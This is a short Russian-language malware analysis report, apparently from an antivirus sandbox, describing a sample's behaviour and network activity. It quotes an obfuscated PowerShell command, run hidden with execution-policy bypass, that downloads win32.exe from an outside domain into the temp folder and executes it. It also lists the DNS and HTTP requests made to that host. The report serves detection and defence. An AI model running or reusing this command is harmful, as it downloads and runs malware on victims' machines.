Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://final.sunsetgates.com/win32.exe как %temp%\\win32.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C POWerShEll.eXE -WiNdowsTYle hidDEn -NOpRoFiLE -exECuTIonpOliCy bYPAss (NEW-ObJeCT SYstEm.NeT.WeBCLieNT).DOwNlOaDFIlE('http://final.sunsetgates.com/win32.exe','%TEMP%\\win32.exe') & %TEMP%\\w...
Сетевая активность
Подключается к
- 'fi###.#unsetgates.com':80
TCP
Запросы HTTP GET
- http://fi###.#unsetgates.com/win32.exe
UDP
- DNS ASK fi###.#unsetgates.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C POWerShEll.eXE -WiNdowsTYle hidDEn -NOpRoFiLE -exECuTIonpOliCy bYPAss (NEW-ObJeCT SYstEm.NeT.WeBCLieNT).DOwNlOaDFIlE('http://final.sunsetgates.com/win32.exe','%TEMP%\\win32.exe') & %TEMP%\\w... (со скрытым окном)
